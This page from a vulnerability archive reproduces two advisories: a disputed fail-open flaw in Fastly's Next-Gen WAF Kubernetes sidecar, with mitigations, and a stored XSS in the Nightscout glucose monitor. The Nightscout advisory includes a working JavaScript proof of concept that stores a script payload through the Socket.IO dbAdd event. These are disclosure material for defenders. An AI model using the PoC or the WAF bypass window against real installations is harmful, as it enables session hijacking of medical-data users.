Organization

Vulnerability Disclosure Archive

GNA-1988

GNA identifier
GNA-1988 GCVE registry Recent publications

Recent vulnerabilities

581 GCVE records assigned by this organization as GNA-1988

GCVE-1988-2026-0576

Vulnerability from gna-1988 – Published: 2026-11-19 04:33 – Updated: 2026-11-19 04:33
VLAI
Title
Fastly Next-Gen WAF (Signal Sciences) agent fails open before rules load in Kubernetes sidecar deployments (vendor disputes; CVE pending)
Summary
Fastly Next-Gen WAF (Signal Sciences) agent: fail-open before rules load in Kubernetes sidecar deployments Product: Fastly Next-Gen WAF agent (sigsci-agent) with the NGINX module, Kubernetes sidecar deployment Vendor: Fastly, Inc. Affected: All agent versions in default configuration, through at least 4.83.2 (tested 2026-11-12). Before 4.52.0 no mitigation existed. 4.52.0 and later are affected unless the startup probe is configured. Weakness: CWE-636 Not Failing Securely ('Failing Open'); CWE-1188 Initialization of a Resource with an Insecure Default; CWE-696 Incorrect Behavior Order CVSS 4.0: 6.3 Medium CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N CVE: Requested from MITRE CNA-LR 2026-09-29; pending Vendor position: Not a vulnerability; intended fail-open design. Will not change the default. Mitigation: Configure the agent startup probe (4.52.0+) Researcher: Zac Lohrenz Writeup: https://zaclohrenz.com/posts/cve/fastly-nextgen-waf/ Evidence: https://github.com/zaclohrenz/fastly-ngwaf-poc 1. Summary ---------- In the Kubernetes sidecar deployment of Fastly's Next-Gen WAF (NGINX ingress controller with the sigsci module, plus a sigsci-agent sidecar sharing a Unix socket), the WAF passes traffic uninspected whenever the agent has not loaded a ruleset, while the pod reports Ready. - Until the agent creates its RPC socket, the module cannot connect (errno=2), logs an error, and passes the request through. - The agent creates the socket when its first configuration download attempt ends, whether or not it succeeded. With no ruleset loaded, it answers every RPC.PreRequest with WAFResponse 200 and the header "X-SigSci-Agent: disabled", and keeps doing so until a later download succeeds. Nothing in the default deployment ties pod readiness to rule load. Every rollout, restart, eviction and scale-out creates a window, and any startup failure to fetch configuration extends it for as long as the failure lasts. 2. Lab testing -------------- Tested 2026-11-12: sigsci-agent 4.83.2 (index digest sha256:4aa2f5296b5f2eeb1a71e79643a93afb19ce85a635a21895ff35b2d0701578d2) and sigsci-nginx-ingress-controller 1.15.1-fastly1.4.0 (index digest sha256:a4c66bfe5c0b06c6507ce89881ba891711ab3009b2d5d934db192a91e0f452ba), deployed with Fastly's published sigsci-values.yaml (commit 9794dfb) in a local kind cluster. Generator at ~20 req/s including SQLi, XSS and path traversal payloads; echo backend logging all request headers. Black-box: logs, documented flags, the agent's documented RPC debug dump, and HTTP headers. No Fastly credentials were available, so the agent could never load a ruleset. Phases observed: Phase Behavior Default signal -------------------------- ---------------------- ----------------- Socket not yet created Module fails open NGINX [error] "cannot connect uds socket" per request Socket created, no ruleset Agent answers None in NGINX; WAFResponse 200 + agent logs only X-SigSci-Agent: "Config update disabled failed" ~every 30s Config-download failure types tested, 3 runs each: connection drop, HTTP 403 (rejected credentials), DNS NXDOMAIN, TCP reset. All four produced the same state: 20,304 decoded agent responses, one distinct value (allow, marked disabled). The state persisted with retries every ~30 s for as long as configuration could not be loaded. With slow failures (dropped connections) the socket appeared after ~60 s and ~935 requests per run passed during the no-socket phase. With fast failures it appeared within ~1.7 s. The 60 s figure is an artifact of how egress was blocked, not a typical duration. Mitigations tested: - Startup probe (SIGSCI_STARTUP_PROBE_LISTENER + startupProbe): pod held out of Service endpoints, zero requests to the upstream, 3 of 3 runs. - Readiness probe initialDelaySeconds 10/30/60 (vendor-suggested alternative): traffic, including attack payloads, reached the upstream after each delay expired. - No documented module or agent option made either component fail closed. The experimental debug-standalone=4 removed the no-socket phase and the "disabled" marker but still allowed every request. For contrast, freezing the agent after its socket existed (the documented timeout path) made the module fail open after ~320 ms per request, also with no log line at default level. The vendor documents the timeout behavior; it documents nothing about an agent that answers with no ruleset loaded. Per-request evidence of the disabled state appears only with non-default options, e.g. SIGSCI_STATSD_ADDRESS (counter sigsci.agent.rpc.tx.dropped.engine_disabled) or SIGSCI_DEBUG_LOG_UPLOADS (AgentEnabled:0). Limits: without working credentials, a healthy start was not observed (whether a valid agent ever opens its socket before its first ruleset loads, the probe's 503 -> 200 transition, and how these requests appear in the vendor console). The finding is about failure at startup: in every failure tested, an agent that could not load its configuration allowed everything until it could, and the default deployment gave Kubernetes no readiness signal for it. Full report, manifests, scripts and raw evidence with SHA-256 checksums: https://github.com/zaclohrenz/fastly-ngwaf-poc 3. Detection ------------ - Agent container spec: look for SIGSCI_STARTUP_PROBE_LISTENER or SIGSCI_STARTUP_PROBE_FILEPATH AND a startupProbe on the agent container that checks it. If either is missing, the deployment is exposed. The env var alone does nothing. - Backend logs: search request headers for "X-SigSci-Agent: disabled". Requests that passed while the socket was missing carry no X-SigSci-* header and will not show up this way. - Agent logs: "Config update failed" near pod starts. - Ingress controller logs: "cannot connect uds socket" from the sigsci module. 4. Mitigation ------------- On agent 4.52.0 or later, configure the startup probe: containers: - name: sigsci-agent ports: - name: "startup-port" containerPort: 2024 env: - name: SIGSCI_STARTUP_PROBE_LISTENER value: "0.0.0.0:2024" startupProbe: httpGet: path: /startup port: startup-port failureThreshold: 90 periodSeconds: 2 The endpoint returns 503 until rules are loaded. Size failureThreshold x periodSeconds for the slowest realistic rule fetch; a pod that cannot load rules within that time is restarted by the kubelet. Fastly's published Helm values (sigsci-values.yaml and sigsci-nginxinc-values.yaml, commit 9794dfb, 2026-11-10) deploy the agent with no startup probe or readiness gate, and no version in that repository's history has included one. The vendor's docs-site Kubernetes guides were updated in October 2026 to include the probe. 5. Vendor position ------------------ Fastly's replies, quoted: 2026-10-14: Fastly "does not classify this behavior as a vulnerability"; fail-open is "a deliberate, foundational design choice in the Fastly NGWAF architecture designed to prioritize application availability and continuous traffic flow in the event of component unavailability, timeouts, or uninitialized states." The same reply: "we entirely agree with your assessment of the security implications in a dynamically scaling Kubernetes environment." 2026-10-22: "our install guides and suggested configs don't include" the startup probe; a CVE is not the right fit "since the right default varies a lot by deployment type (fail-closed at startup is ideal for some and an outage for others)." 2026-10-29: not a vulnerability under CNA Operational Rules v4.2.6, citing 4.1.3.4 ("CNAs MAY determine consistently well-documented and widely known default configurations to not be Vulnerabilities"); "We won't change the default fail-open behavior in situations where the agent is not available yet or is experiencing other issues." 2026-11-03: discussion moved to the CNA-LR; Fastly reserves the right to dispute there. Agent versions 4.52.0 and earlier are past its two-year support cycle. 2026-11-17: case closed; Fastly will provide its analysis directly to the CNA-LR if the CVE request proceeds. Researcher position, in brief: CNA rule 4.1.3.2 is a SHOULD for defaults that introduce under-documented or unexpected security behavior, and 4.1.3.3 a SHOULD for defaults that enable direct exploitation; 4.1.3.4 is a MAY. The vendor's reliability documentation covers module fail-open on agent timeout but does not describe an agent answering allow with no ruleset loaded. The vendor stated the agent "still performs preliminary request handling" while loading its initial ruleset, but did not answer two written questions (2026-10-30) about what the agent returns in that state and how operators can detect it. The lab results above answer them as far as possible without credentials. 6. Timeline ----------- Early 2024 Reported to Fastly support (prior employer's account) 2024-03-14 Agent 4.52.0: startup probe options GA; default unchanged 2026-04-12 Initial public writeup 2026-09-24 Emailed Fastly security requesting classification and CVE coordination; no acknowledgment 2026-09-29 CVE requested from MITRE CNA-LR 2026-10-06 Report forwarded to Fastly support; case opened 2026-10-14 Fastly: not a vulnerability; agrees with security implications 2026-10-22 Fastly: guides omit probe; CVE not the right fit 2026-10-29 Fastly final position: not a vulnerability; default will not change 2026-11-03 Fastly moves discussion to CNA-LR; questions unanswered 2026-11-12 Lab testing on agent 4.83.2 2026-11-17 Fastly closes case; details published Pending CVE assignment 7. References ------------- Writeup: https://zaclohrenz.com/posts/cve/fastly-nextgen-waf/ Evidence: https://github.com/zaclohrenz/fastly-ngwaf-poc Agent 4.52.0 changelog: https://www.fastly.com/documentation/reference/changes/2024/03/ngwaf-agent-4.52.0/ Kubernetes startup probe guide: https://www.fastly.com/documentation/guides/next-gen-waf/setup-and-configuration/kubernetes/kubernetes-startup-probe/ Agent reliability documentation: https://www.fastly.com/documentation/guides/next-gen-waf/setup-and-configuration/agent-management/getting-started-with-the-agent/ sigsci-values.yaml at 9794dfb: https://github.com/signalsciences/sigsci-nginx-ingress-controller/blob/9794dfb38747fb7ec68e4e9286e3164debf1e665/sigsci-values.yaml CNA Operational Rules v4.2.6: https://www.cve.org/Resources/Roles/Cnas/CNA_Rules_v4.2.6.pdf -- Zac Lohrenz _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Fastly Next-Gen WAF agent (sigsci-agent) with the NGINX",
          "vendor": "Fastly, Inc.",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Zac Lohrenz"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Fastly Next-Gen WAF (Signal Sciences) agent: fail-open before rules\nload in Kubernetes sidecar deployments\n\nProduct:     Fastly Next-Gen WAF agent (sigsci-agent) with the NGINX\n             module, Kubernetes sidecar deployment\nVendor:      Fastly, Inc.\nAffected:    All agent versions in default configuration, through at\n             least 4.83.2 (tested 2026-11-12). Before 4.52.0 no\n             mitigation existed. 4.52.0 and later are affected unless\n             the startup probe is configured.\nWeakness:    CWE-636 Not Failing Securely (\u0027Failing Open\u0027);\n             CWE-1188 Initialization of a Resource with an Insecure\n             Default; CWE-696 Incorrect Behavior Order\nCVSS 4.0:    6.3 Medium\n             CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N\nCVE:         Requested from MITRE CNA-LR 2026-09-29; pending\nVendor\nposition:    Not a vulnerability; intended fail-open design. Will not\n             change the default.\nMitigation:  Configure the agent startup probe (4.52.0+)\nResearcher:  Zac Lohrenz\nWriteup:     https://zaclohrenz.com/posts/cve/fastly-nextgen-waf/\nEvidence:    https://github.com/zaclohrenz/fastly-ngwaf-poc\n\n\n1. Summary\n----------\n\nIn the Kubernetes sidecar deployment of Fastly\u0027s Next-Gen WAF (NGINX\ningress controller with the sigsci module, plus a sigsci-agent sidecar\nsharing a Unix socket), the WAF passes traffic uninspected whenever\nthe agent has not loaded a ruleset, while the pod reports Ready.\n\n  - Until the agent creates its RPC socket, the module cannot connect\n    (errno=2), logs an error, and passes the request through.\n  - The agent creates the socket when its first configuration\n    download attempt ends, whether or not it succeeded. With no\n    ruleset loaded, it answers every RPC.PreRequest with\n    WAFResponse 200 and the header \"X-SigSci-Agent: disabled\", and\n    keeps doing so until a later download succeeds.\n\nNothing in the default deployment ties pod readiness to rule load.\nEvery rollout, restart, eviction and scale-out creates a window, and\nany startup failure to fetch configuration extends it for as long as\nthe failure lasts.\n\n\n2. Lab testing\n--------------\n\nTested 2026-11-12: sigsci-agent 4.83.2 (index digest\nsha256:4aa2f5296b5f2eeb1a71e79643a93afb19ce85a635a21895ff35b2d0701578d2)\nand sigsci-nginx-ingress-controller 1.15.1-fastly1.4.0 (index digest\nsha256:a4c66bfe5c0b06c6507ce89881ba891711ab3009b2d5d934db192a91e0f452ba),\ndeployed with Fastly\u0027s published sigsci-values.yaml (commit 9794dfb) in\na local kind cluster. Generator at ~20 req/s including SQLi, XSS and\npath traversal payloads; echo backend logging all request headers.\nBlack-box: logs, documented flags, the agent\u0027s documented RPC debug\ndump, and HTTP headers. No Fastly credentials were available, so the\nagent could never load a ruleset.\n\nPhases observed:\n\n  Phase                       Behavior                Default signal\n  --------------------------  ----------------------  -----------------\n  Socket not yet created      Module fails open       NGINX [error]\n                                                      \"cannot connect\n                                                      uds socket\" per\n                                                      request\n  Socket created, no ruleset  Agent answers           None in NGINX;\n                              WAFResponse 200 +       agent logs only\n                              X-SigSci-Agent:         \"Config update\n                              disabled                failed\" ~every 30s\n\nConfig-download failure types tested, 3 runs each: connection drop,\nHTTP 403 (rejected credentials), DNS NXDOMAIN, TCP reset. All four\nproduced the same state: 20,304 decoded agent responses, one distinct\nvalue (allow, marked disabled). The state persisted with retries every\n~30 s for as long as configuration could not be loaded.\n\nWith slow failures (dropped connections) the socket appeared after\n~60 s and ~935 requests per run passed during the no-socket phase.\nWith fast failures it appeared within ~1.7 s. The 60 s figure is an\nartifact of how egress was blocked, not a typical duration.\n\nMitigations tested:\n\n  - Startup probe (SIGSCI_STARTUP_PROBE_LISTENER + startupProbe): pod\n    held out of Service endpoints, zero requests to the upstream,\n    3 of 3 runs.\n  - Readiness probe initialDelaySeconds 10/30/60 (vendor-suggested\n    alternative): traffic, including attack payloads, reached the\n    upstream after each delay expired.\n  - No documented module or agent option made either component fail\n    closed. The experimental debug-standalone=4 removed the\n    no-socket phase and the \"disabled\" marker but still allowed every\n    request.\n\nFor contrast, freezing the agent after its socket existed (the\ndocumented timeout path) made the module fail open after ~320 ms per\nrequest, also with no log line at default level. The vendor documents\nthe timeout behavior; it documents nothing about an agent that answers\nwith no ruleset loaded.\n\nPer-request evidence of the disabled state appears only with\nnon-default options, e.g. SIGSCI_STATSD_ADDRESS (counter\nsigsci.agent.rpc.tx.dropped.engine_disabled) or\nSIGSCI_DEBUG_LOG_UPLOADS (AgentEnabled:0).\n\nLimits: without working credentials, a healthy start was not observed\n(whether a valid agent ever opens its socket before its first ruleset\nloads, the probe\u0027s 503 -\u003e 200 transition, and how these requests appear\nin the vendor console). The finding is about failure at startup: in\nevery failure tested, an agent that could not load its configuration\nallowed everything until it could, and the default deployment gave\nKubernetes no readiness signal for it.\n\nFull report, manifests, scripts and raw evidence with SHA-256\nchecksums: https://github.com/zaclohrenz/fastly-ngwaf-poc\n\n\n3. Detection\n------------\n\n  - Agent container spec: look for SIGSCI_STARTUP_PROBE_LISTENER or\n    SIGSCI_STARTUP_PROBE_FILEPATH AND a startupProbe on the agent\n    container that checks it. If either is missing, the deployment is\n    exposed. The env var alone does nothing.\n  - Backend logs: search request headers for \"X-SigSci-Agent:\n    disabled\". Requests that passed while the socket was missing carry\n    no X-SigSci-* header and will not show up this way.\n  - Agent logs: \"Config update failed\" near pod starts.\n  - Ingress controller logs: \"cannot connect uds socket\" from the\n    sigsci module.\n\n\n4. Mitigation\n-------------\n\nOn agent 4.52.0 or later, configure the startup probe:\n\n  containers:\n    - name: sigsci-agent\n      ports:\n        - name: \"startup-port\"\n          containerPort: 2024\n      env:\n        - name: SIGSCI_STARTUP_PROBE_LISTENER\n          value: \"0.0.0.0:2024\"\n      startupProbe:\n        httpGet:\n          path: /startup\n          port: startup-port\n        failureThreshold: 90\n        periodSeconds: 2\n\nThe endpoint returns 503 until rules are loaded. Size failureThreshold\nx periodSeconds for the slowest realistic rule fetch; a pod that cannot\nload rules within that time is restarted by the kubelet.\n\nFastly\u0027s published Helm values (sigsci-values.yaml and\nsigsci-nginxinc-values.yaml, commit 9794dfb, 2026-11-10) deploy the\nagent with no startup probe or readiness gate, and no version in that\nrepository\u0027s history has included one. The vendor\u0027s docs-site\nKubernetes guides were updated in October 2026 to include the probe.\n\n\n5. Vendor position\n------------------\n\nFastly\u0027s replies, quoted:\n\n  2026-10-14: Fastly \"does not classify this behavior as a\n  vulnerability\"; fail-open is \"a deliberate, foundational design\n  choice in the Fastly NGWAF architecture designed to prioritize\n  application availability and continuous traffic flow in the event of\n  component unavailability, timeouts, or uninitialized states.\" The\n  same reply: \"we entirely agree with your assessment of the security\n  implications in a dynamically scaling Kubernetes environment.\"\n\n  2026-10-22: \"our install guides and suggested configs don\u0027t include\"\n  the startup probe; a CVE is not the right fit \"since the right\n  default varies a lot by deployment type (fail-closed at startup is\n  ideal for some and an outage for others).\"\n\n  2026-10-29: not a vulnerability under CNA Operational Rules v4.2.6,\n  citing 4.1.3.4 (\"CNAs MAY determine consistently well-documented and\n  widely known default configurations to not be Vulnerabilities\");\n  \"We won\u0027t change the default fail-open behavior in situations where\n  the agent is not available yet or is experiencing other issues.\"\n\n  2026-11-03: discussion moved to the CNA-LR; Fastly reserves the right\n  to dispute there. Agent versions 4.52.0 and earlier are past its\n  two-year support cycle.\n\n  2026-11-17: case closed; Fastly will provide its analysis directly\n  to the CNA-LR if the CVE request proceeds.\n\nResearcher position, in brief: CNA rule 4.1.3.2 is a SHOULD for\ndefaults that introduce under-documented or unexpected security\nbehavior, and 4.1.3.3 a SHOULD for defaults that enable direct\nexploitation; 4.1.3.4 is a MAY. The vendor\u0027s reliability documentation\ncovers module fail-open on agent timeout but does not describe an agent\nanswering allow with no ruleset loaded. The vendor stated the agent\n\"still performs preliminary request handling\" while loading its initial\nruleset, but did not answer two written questions (2026-10-30) about\nwhat the agent returns in that state and how operators can detect it.\nThe lab results above answer them as far as possible without\ncredentials.\n\n\n6. Timeline\n-----------\n\n  Early 2024   Reported to Fastly support (prior employer\u0027s account)\n  2024-03-14   Agent 4.52.0: startup probe options GA; default\n               unchanged\n  2026-04-12   Initial public writeup\n  2026-09-24   Emailed Fastly security requesting classification and\n               CVE coordination; no acknowledgment\n  2026-09-29   CVE requested from MITRE CNA-LR\n  2026-10-06   Report forwarded to Fastly support; case opened\n  2026-10-14   Fastly: not a vulnerability; agrees with security\n               implications\n  2026-10-22   Fastly: guides omit probe; CVE not the right fit\n  2026-10-29   Fastly final position: not a vulnerability; default\n               will not change\n  2026-11-03   Fastly moves discussion to CNA-LR; questions unanswered\n  2026-11-12   Lab testing on agent 4.83.2\n  2026-11-17   Fastly closes case; details published\n  Pending      CVE assignment\n\n\n7. References\n-------------\n\n  Writeup:\n  https://zaclohrenz.com/posts/cve/fastly-nextgen-waf/\n  Evidence:\n  https://github.com/zaclohrenz/fastly-ngwaf-poc\n  Agent 4.52.0 changelog:\n  https://www.fastly.com/documentation/reference/changes/2024/03/ngwaf-agent-4.52.0/\n  Kubernetes startup probe guide:\n  https://www.fastly.com/documentation/guides/next-gen-waf/setup-and-configuration/kubernetes/kubernetes-startup-probe/\n  Agent reliability documentation:\n  \nhttps://www.fastly.com/documentation/guides/next-gen-waf/setup-and-configuration/agent-management/getting-started-with-the-agent/\n  sigsci-values.yaml at 9794dfb:\n  \nhttps://github.com/signalsciences/sigsci-nginx-ingress-controller/blob/9794dfb38747fb7ec68e4e9286e3164debf1e665/sigsci-values.yaml\n  CNA Operational Rules v4.2.6:\n  https://www.cve.org/Resources/Roles/Cnas/CNA_Rules_v4.2.6.pdf\n\n--\nZac Lohrenz\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0575

Vulnerability from gna-1988 – Published: 2026-11-17 19:38 – Updated: 2026-11-17 19:38
VLAI
Title
Nightscout < 15.0.8: Stored XSS via WebSocket Treatment Writes (GHSA-5mrq-gpqw-q5v5)
Summary
========================================================================= Product: Nightscout Web Monitor (aka. cgm-remote-monitor) Repository: https://github.com/nightscout/cgm-remote-monitor Vulnerability: CWE-79 (Improper Neutralization of Input During Web Page Generation) Affected: >= 0.8.1, < 15.0.8 Fixed: 15.0.8 Severity: Critical GHSA: GHSA-5mrq-gpqw-q5v5 CVE: Awaiting assignment CVSS v4.0: AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N 1. Product Description ---------------------- Nightscout is an open-source web application for displaying and sharing continuous glucose monitoring (CGM) data. It can integrate data from CGMs, insulin pumps, automated insulin delivery systems, and related diabetes-management software. Nightscout installations may contain sensitive health and medical-device information, including glucose measurements, insulin delivery information, treatment records, insulin-pump status, and telemetry generated by automated insulin delivery systems. The project is maintained at: https://github.com/nightscout/cgm-remote-monitor 2. Summary ---------- Nightscout contains a stored cross-site scripting vulnerability in the handling and display of treatment records written through its main Socket.IO connection. An authenticated client with permission to create or modify treatments can store unsanitised HTML in treatment fields such as 'notes' or 'enteredBy'. When another user hovers over the affected treatment in the Nightscout dashboard, the treatment tooltip inserts these fields into the page as HTML. Attacker-controlled JavaScript can consequently execute in the Nightscout origin with the permissions and authenticated context of the user viewing the malicious treatment. 3. Details ---------- Nightscout exposes treatment write operations through its main Socket.IO connection. A client with the required treatment permissions can use the 'dbAdd' event to create a treatment containing attacker-controlled values. The minimum relevant permission scopes for the demonstrated attack are: api:treatments:create api:treatments:delete api:treatments:update Nightscout's REST treatment creation path sanitizes submitted objects before storing them. The corresponding WebSocket treatment write path, however, writes treatment objects without passing them through the same purification process. The affected WebSocket handling is located in: 'lib/server/websocket.js' The stored treatment is later displayed by client-side rendering code in: 'lib/client/renderer.js' Treatment tooltip rendering inserts fields including 'notes' and 'enteredBy' into the document using '.html()'. As a result, HTML stored through the WebSocket write path is interpreted as markup rather than displayed as text. The combination of an unsanitized WebSocket write path and an HTML rendering sink therefore creates a persistent cross-site scripting condition. 4. Impact --------- An authenticated attacker with treatment write permissions can create a treatment containing malicious HTML or JavaScript. The payload is stored by Nightscout and subsequently delivered to other users viewing the affected treatment. When a user triggers the treatment tooltip, attacker-controlled JavaScript executes within that user's Nightscout origin. The injected script executes in the authenticated browser context of the victim rather than with only the attacker's original treatment permissions. As a result, the script can interact with Nightscout using the permissions available to the victim. If the victim has elevated or administrative permissions, this may allow the attacker-controlled script to perform privileged Nightscout operations available to that user, including modification of treatment data or other administrative actions exposed to the authenticated client. The vulnerability therefore permits privilege escalation from a client with treatment write access to actions available through the session of a more highly privileged user who views the malicious treatment. 5. Proof of Concept ------------------- The following proof of concept uses an existing authenticated Nightscout browser session. The client must have the treatment permissions required to create the malicious treatment. (() => { const c = window.Nightscout?.client; if (!c?.socket?.connected) { throw new Error("Nightscout connection unavailable."); } c.socket.emit("authorize", { client: "web", secret: c.authorized?.token ? null : c.hashauth.hash(), token: c.authorized?.token }, console.log); const marker = `NS-XSS-POC-${Date.now()}`; const payload = `<img src="data:image/gif;base64,` + `R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==" ` + `onload="document.title='${marker}'">`; c.socket.emit("dbAdd", { collection: "treatments", data: { eventType: "Note", created_at: new Date(Date.now() - 300000).toISOString(), duration: 10, enteredBy: "PoC", notes: payload } }, (res) => { const id = res?.[0]?._id; if (!id) return console.error("Failed:", res); localStorage.setItem("nsXssPocId", id); console.log("Created PoC:", { id, marker }); location.reload(); }); })(); The proof of concept stores an image element whose 'onload' handler changes the document title. This provides a visible demonstration of JavaScript execution without performing privileged Nightscout actions. After the treatment has been stored and the page reloaded, hovering over the malicious treatment causes the payload to execute. 6. Affected Versions -------------------- Nightscout versions >= 0.8.1 and < 15.0.8 are affected. The vulnerable behaviour results from the combination of the WebSocket treatment write path accepting unsanitized treatment fields and the client-side treatment tooltip rendering those fields as HTML. Nightscout 15.0.8 contains the fix. 7. Remediation -------------- Users should update to Nightscout 15.0.8 or later, which contains the fix for this vulnerability. The fix prevents treatment data written through the affected WebSocket path from reaching an executable HTML rendering context without appropriate sanitization. Users should upgrade even where treatment write access is restricted, as exploitation requires only treatment write permissions and the stored payload may subsequently execute in the browser of a more privileged Nightscout user. 8. Workaround ------------- Upgrading to Nightscout 15.0.8 or later is the recommended remediation. If an affected installation cannot be upgraded immediately, operators should restrict treatment write permissions to trusted users and clients until the upgrade can be completed. This reduces exposure but does not correct the underlying discrepancy between the WebSocket treatment write path and treatment rendering, and should not be treated as a substitute for upgrading. 9. CVSS ------- Severity: Critical CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N Attack vector: Network Attack complexity: Low Attack requirements: None Privileges required: Low User interaction: Passive Vulnerable system: High confidentiality and integrity impact; no availability impact. Subsequent system: High confidentiality and integrity impact; no availability impact. 10. References ------------- Research report: https://www.scstudios.tech/research/GHSA-5mrq-gpqw-q5v5 Nightscout: https://github.com/nightscout/cgm-remote-monitor GitHub Security Advisory: https://github.com/nightscout/cgm-remote-monitor/security/advisories/ GHSA-5mrq-gpqw-q5v5 CWE-79: https://cwe.mitre.org/data/definitions/79.html Fix: https://github.com/nightscout/cgm-remote-monitor/pull/8591 Fixed release: https://github.com/nightscout/cgm-remote-monitor/releases/tag/v15.0.8 10. Timeline ------------ 2026-09-01 Vulnerability privately reported to a Nightscout maintainer, with a proof of concept and a demonstration video. 2026-09-02 Private GitHub security report GHSA-5mrq-gpqw-q5v5 submitted. A temporary private fork was created for the report. 2026-09-02 Fix merged in PR #8591 (20:20 UTC, 3 September in Hobart). 2026-09-04 Nightscout 15.0.8 released containing the fix (18:27 UTC, 5 September in Hobart). 2026-09-06 Reporter requested that the advisory be accepted as a draft and reported submitting a CVE request to MITRE. 2026-09-17 Reporter notified the maintainer of an intention to publish a technical disclosure that week and invited objections. 2026-09-19 Maintainer accepted the GitHub security report. 2026-09-22 Reporter joined the Nightscout security team and requested a CVE through GitHub. 2026-09-26 CVE request repeated through GitHub. Further requests were made during October; no CVE ID had been assigned at the time of preparing this disclosure. 2026-10-30 Reporter followed up with the maintainer about publication of the disclosure, noting that the fix was in 15.0.8. 2026-11-13 Maintainer acknowledged the proposed coordinated publication of the disclosure and GHSA. 2026-11-16 Public disclosure and publication. -- Ruben Sutton Software Developer & Security Researcher SuperCode Studios https://www.scstudios.tech/ PGP: FE673 AD759 DC01A 264DC 933FD 4B425 66BB8 B28FA_______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products

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          "vendor": "unknown",
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          "value": "=========================================================================\n\nProduct:          Nightscout Web Monitor (aka. cgm-remote-monitor)\nRepository:       https://github.com/nightscout/cgm-remote-monitor\nVulnerability:    CWE-79\n                 (Improper Neutralization of Input During Web Page\n                 Generation)\nAffected:         \u003e= 0.8.1, \u003c 15.0.8\nFixed:            15.0.8\nSeverity:         Critical\nGHSA:             GHSA-5mrq-gpqw-q5v5\nCVE:              Awaiting assignment\nCVSS v4.0:        AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N\n\n1. Product Description\n----------------------\nNightscout is an open-source web application for displaying and sharing\ncontinuous glucose monitoring (CGM) data. It can integrate data from\nCGMs, insulin pumps, automated insulin delivery systems, and related\ndiabetes-management software.\n\nNightscout installations may contain sensitive health and\nmedical-device information, including glucose measurements, insulin\ndelivery information, treatment records, insulin-pump status, and\ntelemetry generated by automated insulin delivery systems.\n\nThe project is maintained at:\n\nhttps://github.com/nightscout/cgm-remote-monitor\n\n2. Summary\n----------\nNightscout contains a stored cross-site scripting vulnerability in the\nhandling and display of treatment records written through its main\nSocket.IO connection.\n\nAn authenticated client with permission to create or modify treatments\ncan store unsanitised HTML in treatment fields such as \u0027notes\u0027 or\n\u0027enteredBy\u0027. When another user hovers over the affected treatment in\nthe Nightscout dashboard, the treatment tooltip inserts these fields\ninto the page as HTML.\n\nAttacker-controlled JavaScript can consequently execute in the\nNightscout origin with the permissions and authenticated context of the\nuser viewing the malicious treatment.\n\n3. Details\n----------\nNightscout exposes treatment write operations through its main\nSocket.IO connection. A client with the required treatment permissions\ncan use the \u0027dbAdd\u0027 event to create a treatment containing\nattacker-controlled values.\n\nThe minimum relevant permission scopes for the demonstrated attack are:\n\napi:treatments:create\napi:treatments:delete\napi:treatments:update\n\nNightscout\u0027s REST treatment creation path sanitizes submitted objects\nbefore storing them. The corresponding WebSocket treatment write path,\nhowever, writes treatment objects without passing them through the same\npurification process.\n\nThe affected WebSocket handling is located in:\n\n\u0027lib/server/websocket.js\u0027\n\nThe stored treatment is later displayed by client-side rendering code\nin:\n\n\u0027lib/client/renderer.js\u0027\n\nTreatment tooltip rendering inserts fields including \u0027notes\u0027 and\n\u0027enteredBy\u0027 into the document using \u0027.html()\u0027. As a result, HTML stored\nthrough the WebSocket write path is interpreted as markup rather than\ndisplayed as text.\n\nThe combination of an unsanitized WebSocket write path and an HTML\nrendering sink therefore creates a persistent cross-site scripting\ncondition.\n\n4. Impact\n---------\nAn authenticated attacker with treatment write permissions can create\na treatment containing malicious HTML or JavaScript.\n\nThe payload is stored by Nightscout and subsequently delivered to other\nusers viewing the affected treatment. When a user triggers the\ntreatment tooltip, attacker-controlled JavaScript executes within that\nuser\u0027s Nightscout origin.\n\nThe injected script executes in the authenticated browser context of\nthe victim rather than with only the attacker\u0027s original treatment\npermissions. As a result, the script can interact with Nightscout using\nthe permissions available to the victim.\n\nIf the victim has elevated or administrative permissions, this may\nallow the attacker-controlled script to perform privileged Nightscout\noperations available to that user, including modification of treatment\ndata or other administrative actions exposed to the authenticated\nclient.\n\nThe vulnerability therefore permits privilege escalation from a client\nwith treatment write access to actions available through the session of\na more highly privileged user who views the malicious treatment.\n\n5. Proof of Concept\n-------------------\nThe following proof of concept uses an existing authenticated Nightscout\nbrowser session. The client must have the treatment permissions required\nto create the malicious treatment.\n\n\n   (() =\u003e {\n     const c = window.Nightscout?.client;\n     if (!c?.socket?.connected) {\n       throw new Error(\"Nightscout connection unavailable.\");\n     }\n\n     c.socket.emit(\"authorize\", {\n       client: \"web\",\n       secret: c.authorized?.token ? null : c.hashauth.hash(),\n       token: c.authorized?.token\n     }, console.log);\n\n     const marker = `NS-XSS-POC-${Date.now()}`;\n     const payload =\n       `\u003cimg src=\"data:image/gif;base64,` +\n       `R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==\" ` 